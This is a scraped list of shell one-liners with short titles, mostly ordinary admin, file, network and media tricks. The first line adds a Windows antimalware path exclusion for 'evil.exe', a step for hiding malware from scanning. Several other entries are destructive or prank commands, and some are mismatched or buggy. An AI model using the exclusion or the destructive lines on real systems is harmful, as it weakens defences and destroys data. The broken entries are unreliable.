reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths" /v "C:\temp\evil.exe" /t REG_DWORD /d 00000000
get one field inside another that is delimited by space
cut -f2 file.txt | cut -d " " -f1
Automatd ssh public key setup without ssh-copy-id
echo 'Host or User@Host?:'; read newserver && ssh-keygen -N "" -t rsa -f ~/.ssh/id_rsa ; ssh $newserver cat <~/.ssh/id_rsa.pub ">>" ~/.ssh/authorized_keys ; ssh $newserver
Get the /dev/disk/by-id fragment for a physical drive
ls -l /dev/disk/by-id | egrep ata-.*`hdparm -i /dev/sda | grep SerialNo | sed 's/.*SerialNo=//' | tr -d "\n"`.*sda$ | sed -e 's/.*ata-/ata-/' -e 's|[ ].*||' | tr -d "\n"
bash / vim workflow
zsh$ M-v
Random Cyanide and Happiness comics from explosm.net
cyanide(){ display "$(wget -q http://explosm.net/comics/random/ -O - | grep -Po 'http://www.explosm.net/db/files/Comics/*/[^"]+(png|jpg|jpeg)')"; }
Arguments too long
ls | grep ".txt$" | xargs -i WHATEVER_COMMAND {}
Takes a multi line df or bdf and turns it into just one line
bdf | awk '(NF<5){f=$1; next} (NF>5){f=$1} {print f, $2, $3, $NF}'
Lists the size of certain file in every 10 seconds
while true ; do du -sk testfile ; sleep 10 ; done
List files in tarballs
for F in $(find ./ -name "*.tgz") ; do tar -tvzf $F ; done
List files with quotes around each filename
ls | sed 's,\(.*\),"\1",'
sshdo, an alternative to sudo
alias sshdo='ssh -q -t root@localhost -- cd $PWD \&\& sudo'
start a nested awesome session
xinit $(which awesome) -- /usr/bin/Xephyr :5 -once -fullscreen -ac -keybd "ephyr,,,xkbmodel=pc105,xkblayout=it,xkbrules=evdev,xkboption="
Have a random
fortune | cowsay $(ls/usr/share/cowsay | shuf -n1)
Shuffles your songs. Using mplayer. But with no output.
mplayer -shuffle $HOME/music/* $HOME/Dropbox/Music/*/* $HOME/Dropbox/Music/*/*/* etc. >> /dev/null 2>&1
Batch resize images (overwriting)
for f in *.png; do convert $f -resize 852x480 $f; done
Make alert if host is 'dead' or not reachable
10,30,50 * * * * ping -q -c1 -w3 192.168.0.14 | grep '1 received' - || env DISPLAY=:0 xeyes
Extract .daa files with PowerISO
./poweriso extract $USER/file.daa / -od $USER/file_extracted
Scan for viruses
clamscan -ir --bell ~user/
Get My Public IP Address
curl http://whatismyip.org
Edit all "text" files (exclude binary and directories) in the current directory
ls . | xargs file | grep text | sed "s/\(.*\):.*/\1/" | xargs gedit
List alive hosts in specific subnet
for i in 192.168.1.{1..254} ; do if ping -c1 -w1 $i &>/dev/null; then echo $i alive; fi; done
git log -n 1 -p FILENAME| head -n 1 | awk -F " " '{print $2}'
git last commit on a file.
Real full backup copy of /etc folder
tar -cf - /etc | tar -xf - -C </destination/folder>
Get the date for the last Saturday of a given month
cal 04 2012 | awk 'NF <= 7 { print $7 }' | grep -v "^$" | tail -1
free swap
free -m | awk '/Swap/ {print $4}'
Find all dot files and directories
ls -a | egrep "^\.\w"
Facebook e-mail header X-Facebook IP deobfuscator
echo "X-Facebook: from zuckmail ([MTI3LjAuMC4x])" | cut -d \[ -f 2 | cut -d \] -f 1 | openssl base64 -d
Open Finder from the current Terminal location
open -a Finder <path>
Easiest way to navigate to home
cd
mount a msdos formated floppy disk
mount -t msdos /dev/fd0 /mnt/floppy
Remove Thumbs.db files from folders
rm -fr `find . -name Thumbs.db`
repeat a command every x seconds
while x=0; do foo ; sleep 1 ; done
Run Remote GUI Programs Using SSH Forwarding
ssh -C -X user@remotehost gui_command
Outputs a 10-digit random number
n=$RANDOM$RANDOM$RANDOM; let "n %= 10000000000"; echo $n
Process each item with multiple commands (in while loop)
find -maxdepth 1 -type d | while read dir; do echo $dir; echo cmd2; done
get msn buddy's info
purple-remote "msn:getinfo?screenname=xxx"
export iPad App list to txt file
cd "~/Music/iTunes/iTunes Media/Mobile Applications";ls > filepath
I am using a desktop?
sudo hal-get-property --udi /org/freedesktop/Hal/devices/computer --key 'system.formfactor'
Get your external IP address
curl icanhazip.com
count how many cat processes are running
ps -a |grep cat |wc -l
Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename foo bar directory/filename
How to execute and encrypted and password-protected bash script?
echo "ls" > script.bash; gpg -c script.bash; cat script.bash.gpg | gpg -d --no-mdc-warning | bash
Inserting a decimal every third digit
perl -lpe'1 while s/^([-+]?\d+)(\d{3})/$1.$2/'
batch crop images whit imagemagik
for k in *.png; do convert $k -crop <width>x<high>+<cropwidth>+<cropthigh> <newpath>/$k; done
Convert indentation to tabs
find . -type f -regex '.*\.\(cpp\|h\)' -exec bash -c 'unexpand -t 4 --first-only "$0" | sponge "$0"' {} \;
tail, with specific pattern colored
tail -f file | egrep --color=always $\|PATTERN
Purge frozen messages in Exim
for i in `mailq | awk '$6 ~ /^frozen$/ {print $3}'`; do exim -Mrm $i; done
Unmount locked filesystems.
umount -l /media/foo
Purge frozen messages in Exim
exipick -zi | xargs exim -Mrm
Rickroll your users who try to sudo
echo "alias sudo=\"aplay annoyingsoundfile.ogg\"" >> .bash_aliases
cut with tab or other white space chars
cut -f1 -d"<TAB>"
Get the rough (german) time from Twitter
echo -e "Berlin Date/Time is" `TZ=GMT-2 /bin/date \+%c`
Convert images (foo.gif => foo.jpg)
for i in **/*.gif; convert $i $i:r.jpg
Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename foo bar filename
Get the rough (german) time from Twitter by @zurvollenstunde
printf "%02d:%02d\n" $(curl -s "http://search.twitter.com/search?from=zurvollenstunde&rpp=1" | grep -E '(Es ist jetzt|ago)' | sed 's/<[^>]*>//g;s/[^[:digit:]]//g' | xargs )
Bulk copy large blocks of data between File Systems (run as root iff you do not own all of the files!)
tar cpof - src |( cd des; tar xpof -)
count how many cat processes are running
ps -cx cat
Write in a text file the contents of all the zip files in a directory.
for file in *.zip; do unzip -l "$file" >> archiveindex.txt ; done;
Get your external IP address
echo -e "GET /ip HTTP/1.0\nUser-Agent: netcat\nHOST: ifconfig.me\n\n" | nc ifconfig.me 80 | sed -n '/^[0-9]/p'
Remove executable bit from all files in the current directory recursively, excluding other directories, firm permissions
find . -type f -exec chmod 640 {} ';'
x86info
x86info
View external IP
wget -q ip.nu && cat index.html
Pipe ls output into less
function lsless() { ls "$@" | less; }
Wait for an already launched program to stop before starting a new command.
while (ps -ef | grep [r]unning_program_name); do sleep 10; done; command_to_execute
Find everything updated in the last minute recursively within the current directory and sort by time, newest at the bottom.
ls -lF -darth `find . -mmin -3`
import database
mysql>use DBNAME; mysql>source FILENAME
counting a particular character in a file
fold -w 1 <file> | grep -c <character>
Find/Replace in a bunch of files and keep a log of the changes
find . -type f | xargs grep -n "Old Text" | tee filesChanged.txt | sed 's/:.*$//' | xargs sed -i 's/Old Text/New Text/g
Find out if a module is installed in perl
module_exists(){ perl -e 'use '$1 2>/dev/null; }
Remove the Apple quarantine
find . | xargs xattr -d com.apple.quarantine
generate /etc/shadow-style password
mkpasswd -5 pa33w0rd saltsalt
Get the IP address
ifconfig | awk -F"[: ]+" '/inet addr/ {print $4}'
Create a mysql database from the command line
mysqladmin -u username -p create dbname
startx output to log file
startx > startx.log 2>&1
Mount a disk image (dmg) file in Mac OSX
hdid somefile.dmg
count directory space usage in current directory with sort for microsoft windows
diruse /,/M/* .|sort
UBNT device
iwlist ath0 scanning |egrep '(ESSID|Signal|Address)'| \sed -e 's/Cell - Address:*//g' -e 's/ESSID://g' \-e 's/Noise level=-//g' -e 's/dBm//g' \-e 's/Quality=*//g' -e 's/Signal level=-//g' \-e 's/"//g'
Recursively delete .svn folders
find . -name .svn | xargs rm -rf
hardcode dnsserver, no more rewriting of etc/resolv.conf
while sudo sed -i -e 's/^\(nameserver\).*$/\1 $dns/' /etc/resolv.conf; do sleep 15; done &
Generrate Cryptographically Secure RANDOM PASSWORD
cat /dev/urandom |tr -c -d '[:alnum:]'|head -c 16;echo
Get the weather forecast for the next 24 to 48 for your location.
curl -s http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}|xmlstarlet sel -E utf-8 -t -m //forecast/txt_forecast/forecastday -v fcttext -n
alias ps | grep
alias kfire='for i in `ps aux | grep [F]irefox `; do echo $i; kill $(($i)); done; '
download a list of urls
cat urls.txt | xargs -n1 curl -O --max-time 10 --retry 3 --retry-delay 1
Play a video and show timecode ovelray
melt dvgrab-010.m2t meta.attr.titles=1 meta.attr.titles.markup=#timecode!!! Example "-attach data_show dynamic=1
best command for searching files
find / -name \*string\*
Not so simple countdown from a given date
watch -tn1 'bc<<<"`date -d'\''friday 21:00'\'' +%s`-`date +%s`"|perl -ne'\''@p=gmtime($_);printf("%dd %02d:%02d:%02d\n",@p[7,2,1,0]);'\'
Set case insensitive in VI
:set ic
Checking total connections to each Ip inserver
netstat -alpn | grep :80 | awk '{print $4}' |awk -F: '{print $(NF-1)}' |sort |
uniq -c | sort -n
Remove current directory
removedir () { echo "Deleting the current directory $PWD Are you sure?"; read human; if [[ "$human" = "yes" ]]; then blah=$(echo "$PWD" | sed 's/ /\\ /g'); foo=$(basename "$blah"); rm -Rf ../$foo/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; }
Display a random man page
dir="/bin"; man $(ls $dir |sed -n "$(echo $(( $RANDOM % $(ls $dir |wc -l | awk "{ print $1; }" ) + 1 )) )p")
Copy paste contents quickly and save as a file
cat > file_name
Display a random man page
man $(ls /bin | sed -n $((RANDOM % $(ls /bin | wc -l) + 1))p)
Say no to overwriting if cp -i is the default alias.
yes n | cp something toSomeWhereElse
Unarchive entire folder
for f in *;do case "$(echo $f|sed "s/.*\.\([a-z\.]*\)/\1/g")" in zip)unzip -qqo $f&&rm $f;;tar.gz|tar.bz2)tar xf $f&&rm $f;;rar)unrar e -o+ -r -y $f&&rm $f;;7z)7z e -qqo $f;;esac;done
Start Chrome with socks on Mac OSX
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --proxy-server=socks5://HOST:PORT
Get DELL Warranty Information from support.dell.com
curl -Ls "http://support.dell.com/support/DPP/Index.aspx?c=us&cs=08W&l=en&s=biz&ServiceTag=$(dmidecode -s system-serial-number)"|egrep -i '>Your Warranty<|>Product Support for'|html2text -style pretty|egrep -v 'Request|View'|perl -pane 's/^(\s+|\})//g;'
Get your current Public IP
curl -s http://checkrealip.com/ | grep "Current IP Address" | cut -d ' ' -f 4
remove file named 1 after fat fingeriing :w! in vi
:rm 1
Quickly determine lines in terminal
_llines=100; while [ $_llines -gt 1 ]; do echo $_llines; _llines=$(($_llines-1)); done
shows which files differ in two direcories
diff -qr /dirA /dirB
Renice a group of threads
renice -20 -g 2874 (2784 found with ps -Aj)
Mount a windows partition in a dual boot linux installation…[Read Only Mounting]
mount -o auto -t ntfs /dev/hda1 /windows
Script to rip the audio from the youtube video you have open in firefox
video=$(ls /tmp | grep -e Flash\w*); ffmpeg -i /tmp/$video -f mp3 -ab 192k ~/ytaudio.mp3
Recompress all text files in a subdirectory with lzma
find . -name '*.txt' | grep -v '\.lzma$' | xargs -n 1 lzma -f -v -3
recursive remove all htm files
rm **/*.htm
QEMU From Fedora Livecd + Device CD + Device Disk + UEFI + 800x600 forced
sudo qemu-system-x86_64 ...
Get the size of every directories and files in a path recursively
for i in $(ls /the/path); do du -hs /the/path/$i; done
Show who is logged on and find out what they are doing
watch w
whois multiple domains
for domain in `cat list_of_domains.txt`; do echo $domain; whois $domain >> output.txt; done
Open files in tabs with vim
vim -p file1 file2 [...]
view user friends
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
List SMTP connections by host
cat /var/log/secure | grep smtp | awk '{print $9}' | cut -f2 -d= | sort | uniq -c | sort -n | tail
show all upd tcp an icmp traffic but ssh
tcpdump -n -v tcp or udp or icmp and not port 22
Display a random man page
man $(ls -1 /usr/share/man/man?/ | shuf -n1 | cut -d. -f1)
Remove two dashes ('–') before signature in Evolution Mail (>2.30.x)
gconf-editor /apps/evolution/mail/composer/no_signature_delim false
Reset the last modified time for each file in a git repo to its last commit time
for file in $( git ls-files ); do echo $file; touch -t $(git --no-pager log --date=local -1 --format="%ct" $file | php -r 'echo @date( "YmdHi.s", trim( file_get_contents( "php://stdin" ) ) );') $file; done
Eliminate duplicate lines on a file
cat file1.txt | uniq > file2.txt
Using wget to receive an XML atom feed of your Gmail inbox
wget -O - 'https://USERNAMEHERE:PASSWORDHERE@mail.google.com/mail/feed/atom' --no-check-certificate
List your largest installed packages (on Debian/Ubuntu)
sed -ne '/^Package: \(.*\)/{s//\1/;h;};/^Installed-Size: \(.*\)/{s//\1/;G;s/\n/ /;p;}' /var/lib/dpkg/status | sort -rn
Write a shell script that removes files that contain a string
find . | xargs grep -l "FOOBAR" | awk '{print "rm -f "$1}' > doit.sh
To display the number of hard disks on your system
lspv
Recursively remove all empty directories
find . -depth -type d -empty -exec rmdir -v {} \;
delete files older than 1 month in a directory
require 'time';backup_dir = '/path';Dir.glob(backup_dir+"/*.sql").each{ |f| filetime = Time.parse(`mdls -name kMDItemContentCreationDate -raw #{f}`);monthago = Time.now - (30 * 60 * 60 * 24);`rm #{f}` if filetime < monthago }
Show a config file without comments
grep -Pv '^\S*(#|$)'
Running VirtualBox as headless
nohup VBoxHeadless -p 3052 -startvm ServidorProducao &
Execute a command with a timeout
timelimit -t100 somecommand
Search term while reading man page
/foo
Convert unix timestamp to date
echo $EPOCH|awk '{print strftime("%c",$1)}'
tar - extract only one file
tar zxvf package.tar.gz --strip 1
make ping run a little faster
alias ping='ping -n'
Generate a test csv file using looping in AIX
i=0; while [ $i -lt 100 ]; do echo "test, ttest, tttest-${i}" >> kk.file; i=`expr $i + 1`; done
Count all files in a directory
ls | wc -l
Look for a string in one of your codes, excluding the files with svn and ~ (temp/back up files)
find . -type f -exec grep StringToFind \{\} --with-filename \;|sed -e '/svn/d'|sed -e '/~/d'
find the device when you only know the mount point
df | grep -w /media/KINGSTON | awk {'print $1'}
encode/decode HTML entities
xml2asc < inputfile > outputfile
Remote Screenshot
export DISPLAY=":0.0" && import -window root screenshot.png
Analyse a PHP file for instantations and static calls
grep -o "\(new \(\w\+\)\|\w\+::\)" file.php | sed 's/new \|:://' | sort | uniq -c | sort
Add a list of numbers
awk '{total+=$0}END{print total}' file
Find top 5 big files
find . -type f -exec ls -s {} \; | sort -n -r | head -5
Print your local hostname with python
python -c "import platform; print platform.node()"
Add a list of numbers
paste -sd'+' file|bc -l
if you are alone and have to determine which switch port your server ends … here we go
for i in $(seq 300) ; do ethtool -s eth0 autoneg on ; sleep 2 ; done
Add a list of numbers
echo "1+2+3+4" | bc
delete all tasks scheduled for the local computer
schtasks /delete /tn * /f
Print file content in reverse order
tac [FILE]
Show the number of current httpd processes
netstat -l -p --tcp | egrep -e 'www.*[0-9]{3,4}\/(apache2|httpd)' | awk '{print$7}'
kills all php5-fcgi processes for user per name
pgrep -u username php5-fcgi | xargs kill -9
Create a git repository
git-createrepo() { repos_path='/srv/git/'; mkdir $repos_path$1; cd $repos_path$1; git init --bare; echo "Repository location: ssh://$USER@`cat /etc/HOSTNAME``pwd`"; cd -; }
rm filenames with spaces
find /Users/jpn/.ievms/ -type f -print0| xargs -0 du -sh
unzip all zip files under a current directory in the directory those files were in
for f in `find ./ -name "*.zip"` ; do p=`pwd`; d=`dirname $f`; cd $d; b=`basename $f`; unzip $b; cd $p; done
Outputs size of /example/folder in human readable format.
du -hs /example/folder/
get debian version number
lsb_release -a
checksum a directory / files
tar -cf - file1 dir1/ dir2/ | md5sum
uninstall Air on Ubuntu
sudo dpkg -P $(dpkg -l | grep -i adobeair)
CPU model
cat /proc/cpuinfo
List all files and folders with attributes
gci -rec | Select-Object Mode, Name, CreationTime, LastAccessTime, LastWriteTime | ft -autosize
Display a list of upgradeable packages (apt)
apt-show-versions -u
See where MySQL is looking for its config files
mysql -? | grep ".cnf"
Empty a file of contents
> [filename]
Print out "string" between "match1" and "match2"
echo "string" | sed -e 's/.*match1//' -e 's/match2.*$//'
Get the mac address of eth0 in uppercase minus the colons
ifconfig eth0 | grep 'HWaddr' | awk '{print $5}' | tr 'a-z' 'A-Z' | sed -e 's/://g'
Convert wav to mp3
lame rec01.wav rec01.mp3
Convert .wav audio files to .gsm forman
sudo sox <file name>.wav -r 8000 <file name>.gsm
List all files in current directory by size
du -sh *
List all symbolic links in current directory
ls -l `ls -l |awk '/^l/ {print $8}'`
Convert .wav audio files to .gsm format
sudo sox <file name>.wav -r 8000 <file name>.gsm
LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
TODAY=`date +"%b %d"`;ls -l | grep "$TODAY" | awk '{print $9}'
Copy with progress
copy(){ cp -v "$1" "$2"&watch -n 1 'du -h "$1" "$2";printf "%s%%\n" $(echo `du -h "$2"|cut -dG -f1`/0.`du -h "$1"|cut -dG -f1`|bc)';}
See where a shortened url takes you before click
curl -s http://urlxray.com/display.php?url=http://tinyurl.com/demo-xray | grep -o '<title>.*</title>' | sed 's/<title>.*--> \(.*\)<\/title>/\1/g'
Move files around local filesystem with tar without wasting space using an intermediate tarball.
tar -C <source_dir> -cf . | tar -C <dest_dir> -xf -
Get your local IP regardless of your network interface
ifconfig | grep "inet\ " | grep -v "127.0" | sed -e 's/inet\ addr://g' | sed -e 's/Bcast:/\ \ \ \ \ \ \ /g' | cut -c 1-29 | sed -e 's/\ //g'
open the last folder created
cd $(ls -1t --color=never | head -1)
LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
ls -la | grep $(date +%Y-%m-%d) | egrep -v -e '\.{1,2}' | sed "s/.*\:[0-9]\{2\} \(.\+\)$/\\1/g"
Save iptables firewall info
sudo iptables-save > /etc/iptables.up.rules
Counts the number of TODOs in files with extension EXT found from the current dir.
find . -name "*.EXT" | xargs grep -n "TODO" | wc -l
Delete an hard disk entry in Virtualbox registry
sed -i '/Centos/d' VirtualBox.xml
Remove all the files except abc in the directory
rm *[!teste0,teste1,teste2]
Important 'default VLAN' command, for Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
no untag
Displays a 3-Month Calendar
cal -3
Convert all .wav to .mp3
ls *.wav | while read f; do lame "$f" -o "$(echo $f | cut -d'.' -f1)".mp3; done;
802-1w (RSTP) 'root port' hard code, Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
rstp priority 0
remove all files except *.txt
rm !(*.txt)
tacacs+ Auth to (Cisco ACS) from Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
aaa authentication login default local tacacs+
to clone an NTFS partition
ntfsclone
fiber power levels on Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
show optic <slot #>
Base64 decode
echo Y29tbWFuZGxpbmUuZnUgcm9ja3MK | base64 -d
Firefly quotes
yum install fortune-firefly; fortune
create an empty NTFS partition
mkntfs /dev/hda1
open an mac application from mac osx command line terminal
open -a /Applications/Safari.app $1
Run puppet agent in one-off debug mode
puppetd -t
Mount an external FAT32 USB HDD
sudo mount -t vfat /dev/sdb1 /mnt/sdb1
List files that DO NOT match a pattern
ls *[^p][^a][^t]* ; !!! Example "or shopt -s extglob; ls !(*pattern*)
show your private/local ip address
ifconfig | sed '/.*addr.*Bcast.*/ ! d'| sed 's/.*addr:\([0-9\.]*\).*/\1/'
Partition a new disk as all one partition tagged as
echo -e "o\nn\np\n1\n\n\nw\n" | fdisk /dev/sdX
Enable lxdm login manager in linux
sudo systemctl enable lxdm
Flush memory cache
free && sync && echo 3 > /proc/sys/vm/drop_caches && free
Get all members from one AD group and put them in another AD group
for /F "DELIMS=""" %i in ('dsquery group -name SourceGroupName ^| dsget group -members') do dsquery group -name TargetGroupName | dsmod group -addmbr %i
show your private/local ip address
ifconfig | awk '/inet addr/ &&! /127.0.0.1/{ gsub(/addr:/,""); print $2 }'
Toggle the Touchpad on or off
if [ $(synclient -l | grep TouchpadOff | awk '{print $3}') = "2" ]; then synclient TouchpadOff=1; elif [ $(synclient -l | grep TouchpadOff | awk '{print $3}') == "1" ]; then synclient TouchpadOff=2; else synclient TouchpadOff=2; fi
A bash prompt which shows the bash-version
PS1="$BLUE[$CYAN\u$BLUE@$CYAN\h$WHITE-bash \v:$GREEN\w$BLUE]$WHITE \$ "
Mac, ip, and hostname change - sweet!
ifconfig eth0 down hw ether (newmacaddresshere) && ifconfig eth0 up && ifconfig eth0 (newipaddresshere) netmask 255.255.255.0 up && /bin/hostname (newhostnamehere)
close stderr
cat aaaaaa 2>&-
example usage of sar
sar -g 5 5
Recursive file content search
find . -name *.php | xargs grep -i -n 'TERM'
YES = NO
yes | tr 'y' 'n'
Copy all JAR files to folder /tmp
find . -iname "*.jar" -exec cp '{}' /tmp/ \;
Search through your command line history
set -o vi
A 'favorite' command.
favorite --add myhost 'ssh me@myhost'
copy partition table from /dev/sda to /dev/sdb
sfdisk /dev/sdb <(sfdisk -d /dev/sda| perl -pi -e 's/sda/sdb/g')
Edit a file using vi or vim in read-only mode
vi -R filename
find a class or file within a number of jar files
for i in `find . | grep jar$`; do echo $i; jar tvf $i | grep 'search-string'; done;
Recursive and alphabetical orderly cp
for file in `find *| sort -n | sed 's% %?%g'`; do echo "${file//?/ }"; cp --parents "${file//?/ }" /destinity_folder/ ;done
Recursively remove all .svn directories
find . -name .svn -type d | parallel rm -rf
find all processes named hunger and force kill, minus the grep itself and output to a file called fu.bar
ps -auwx|egrep hunger|grep -v grep| awk '{print "kill -9",$1}' > ~/fu.bar
Download a complete podcast
wget -c -v -S -T 100 --tries=0 `curl -s http://ms1.espectador.com/ podcast/espectador/la_venganza_sera_terrible.xml | grep -v xml | grep link | sed 's/]*>//g'`
Quickly backup your current directory
alias backup_dir='mkdir -p .backup && cp * .backup'
Find files and list them with a readable informative output
find . -type f | sed 's,.*,stat "&" | egrep "File|Modify" | tr "\\n" " " ; echo ,' | sh | sed 's,[^/]*/\(.*\). Modify: \(....-..-.. ..:..:..\).*,\2 \1,' | sort
Muestra el crecimiento de un archivo por segundo
while true; do A=$(ls -l FILE | awk '{print $5}'); sleep 1; B=$(ls -l FILE | awk '{print $5}'); echo -en "\r"$(($B-$A))" Bps"; done
convert all WAVs from any format (MS ADPCM) to PCM
for file in $(find -type f -iname "*wav"); do mv $file "$file"_orig.WAV; mplayer -ao pcm "$file"_orig.WAV -ao pcm:file=$file; done
Useful if you need to see compiler errors while edit a code
alias clear='( for ((i=1;i<$LINES;i++)) ; do echo "" ; done ) ; clear'
count the number of times you match a substring in a larger text file
sed ?s/[sub_str]/[sub_str]\n/g? [text_file] | wc -l
Move files older than 30 days in current folder to "old" folder
for i in $(find . -mtime +30); do mv $i old/; done
Get top 10 largest directories under cwd
du | sort -n | tail -11 | head
Get a text on a position on the file and store in a variable with a specific separator
TIMEUNIT=$( cat a | grep -n "timescale" | awk -F ":" '{ print $1 } ' )
An alias for pasting code/data into terminal without it doing anything. Add to .bashrc
alias cn='cat > /dev/null'
Set Permission to user and group
chown -R webuser:webgroup /var/www/vhosts/domain.com/httpdocs
On Linux boxes, sets the
gconftool-2 --set /apps/metacity/global_keybindings/panel_main_menu --type string "Super_L"
Read Nth column (e.g. 2nd column) of a row of data in a file that has a specific word (e.g. HOME) on that row and extract the last delimited value for the specified delimiter (e.g. /)
grep 'HOME.*' data.txt | awk '{print $2}' | awk '{FS="/"}{print $NF}' OR USE ALTERNATE WAY awk '/HOME/ {print $2}' data.txt | awk -F'/' '{print $NF}'
Go to the last directory invoked on command line
cd !$
Individually compress each file in a directory
gzip *
show system installation date
tune2fs -l $(df -P / | tail -n1 | cut -d' ' -f1 ) | grep 'Filesystem created:'
sudo for launching gui apps in background
sudo ls ; sudo gedit /etc/passwd &
ldapsearch -x -s base namingContexts -LLL
list the naming contexts of a directory server (no need to search in config files)
Run ADSL connection
pon dsl-provider
Remove color codes (special characters) with sed
remove exact phrase from multiple files
grep -r "mystring" . |uniq | cut -d: -f1 | xargs sed -i "s/mystring//"
List dot-files and dirs, but not "." and ".."
ls .[!.]*
oneliner to open several times same application
for ((i=0;i<5;i++)) ; do xpenguins & done
Network Interfaces
netstat -ie
Execute a command if a file exists
grep -sq "" /etc/lsb-release && lsb_release -rd
oneliner to open several times same application
for i in $(seq 5); do xpenguins & done
Locate a list of processes by process name that need to be killed
for i in `ps -ef | grep tracker | awk '{print $8}' | cut -d'/' -f4 | grep -v grep`; do killall -9 $i; done
Binary editor
bvi [binary-file]
Terrorist threat level text
xmlstarlet sel --net -t -o "Terrorist threat level: " -v //@CONDITION http://is.gd/wacQtQ
Suspend to ram
sudo /etc/acpi/sleep.sh sleep
create a detached signature for file.txt
gpg -ab file.txt
encrypt file.txt using myfriend's pubkey && add your signature
gpg -ser 'myfriend@gmail.com' file.txt
Get the browser user-agent
curl sputnick-area.net/ua
find files containing text
grep -H -r "string" ./* >> grep.txt
Display unique values of a column
cut -f 3 | uniq
Check your ip public using dyndns.org
wget http://checkip.dyndns.org/ -q -O - | grep -Eo '\<[[:digit:]]{1,3}(\.[[:digit:]]{1,3}){3}\>'
Launch a Daemon on OSX tiger
launchctl load /Library/LaunchDaemons/<plist config filename>.plist
Duplicate a directory tree using tar and pipes
(cd /source/dir ; tar cvf - .)|(cd /dest/dir ; tar xvpf -)
generate random password
openssl rand -base64 1000 | tr "[:upper:]" "[:lower:]" | tr -cd "[:alnum:]" | tr -d "lo" | cut -c 1-8 | pbcopy
sendmail via commandline
cat file.txt | sendmail -F myname -f admin@mysite.com guest@guest.com
Displaying wireless signal on screen in realtime.
watch -n 1 cat /proc/net/wireless
perl one-liner to get the current week number
perl -e 'use Date::Calc qw(Today Week_Number); $weekn = Week_Number(Today); print "$weekn\n"'
tar per directory
cd <YOUR_DIRECTORY>; for i in `ls ./`; do tar czvf "$i".tar.gz "$i" ; done
backup and remove files with access time older than 5 days.
tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5 -type f` 2> /dev/null | parallel -X rm -f
What is my ip?
alias whatismyip="wget -q -O - http://whatismyip.com/automation/n09230945.asp"
BASH: Print shell variable into AWK
MyVAR=84; awk '{ print "'"$MyVAR"'" }'
View last 100 lines of your SSH log
tail /var/log/auth.log -n 100
Unique number by Mac Address
UNIQUE_BY_MAC=$(ifconfig |grep eth0|awk '{ print strtonum("0x"substr($6,16,2)) }')
Automatically find and re-attach to a detached screen session
screen -x `screen -ls | grep Detached | cut -c -10`
Get internal and external IP addresses
ips(){ for if in ${1:-$(ip link list|grep '^.: '|cut -d\ -f2|cut -d: -f1)};do cur=$(ifconfig $if|grep "inet addr"|sed 's/.*inet addr:\([0-9\.]*\).*/\1/g');printf '%-5s%-15s%-15s\n' $if $cur $(nc -s $cur sine.cluenet.org 128 2>/dev/null||echo $cur);done;}
Generate an XKCD #936 style 4 word password
Amharic software
Twitter from commandline with curl
curl --basic --user username:password --data status="Twitter from commandline with curl" https://twitter.com/statuses/update.xml
Show the processes that use old libs and need a restart
lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u
Fill up disk space (for testing)
dd if=/dev/zero of=/fs/to/fill/dummy00 bs=8192 count=$(df --block-size=8192 / | awk 'NR!=1 {print $4-100}')
Reconstruct standard permissions for directories and files in current directory
chmod -R u=rwX,go=rX .
Repeat last executed command
!!
HTTP Caching (gateway/reverse proxy cache for webapps)
response.headers['Cache-Control'] = 'public, max-age=60';
urlencode
(Command too long..See sample Output..)
Copy ssh keys to user@host to enable password-less ssh logins.
ssh-copy-id [-i [identity_file]] [user@]machine
Remove spaces and convert to lowercase filename with a certain extension, to be saved and called as a script with the extension as an argument.
for i in ./*.$1; do mv "$i" `echo $i | tr ' ' '_'`; done for i in ./*.$1; do mv "$i" `echo $i | tr '[A-Z]' '[a-z]'`; done for i in ./*.$1; do mv "$i" `echo $i | tr '-' '_'`; done for i in ./*.$1; do mv "$i" `echo $i | tr -s '_' `; done
Append current directory to $PATH temporarily.
export PATH=$PATH:`pwd`
Tar Pipe
tar cvf - /src | ( cd /dest ; tar xvf - )
Join lines
echo -e "aa\nbb\ncc\ndd\n123" | sed -e :a -e "/$/N; s/\n/;/; ta"
Figure out what shell you're running
ps ho command $$
Figure out what shell you're running
echo $SHELL
backup the old files
tar -zcps <dir> -X <(find <dir> -type f -mtime -<days>) |ssh user@backuphost tar -xzpsC /data/bkup
Use FileMerge to compare two files
opendiff <file1> <file2>
Start a quick rsync daemon for fast copying on internal secure network
rsync --daemon --port 9999 --no-detach -v --config .rsyncd.conf
Get your external IP address
exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]};
Return IP Address
ifconfig -a|grep Bcast:|cut -d\: -f2|awk '{print $1}'
the system will display device manager command line utility, cte.
Shows users and 'virtual users' on your a unix-type system
ps -axgu | cut -f1 -d' ' | sort -u
Execute extension with chrome
wget -O gsplitter.crx "https://clients2.google.com/service/update2/crx?response=redirect&x=id%3Dlnlfpoefmdfplomdfppalohfbmlapjjo%26uc%26lang%3Den-US&prod=chrome&prodversion=8.0.552.224" ; google-chrome --load-extension gspliter.crx
Backup a file with a date-time stamp
buf () {oldname=$1; if [ "$oldname" != "" ]; then datepart=$(date +%Y-%m-%d); firstpart=`echo $oldname | cut -d "." -f 1`; newname=`echo $oldname | sed s/$firstpart/$firstpart.$datepart/`; cp -i ${oldname} ${newname}; fi }
Regex or
egrep '(expr1|expr2)' file
Force log creation when running an msi install
msiexec.exe /i product.msi /l* c:\folder\LogFileName.txt
Remove unused libs/packages in debian-based distros
apt-get remove `deborphan`
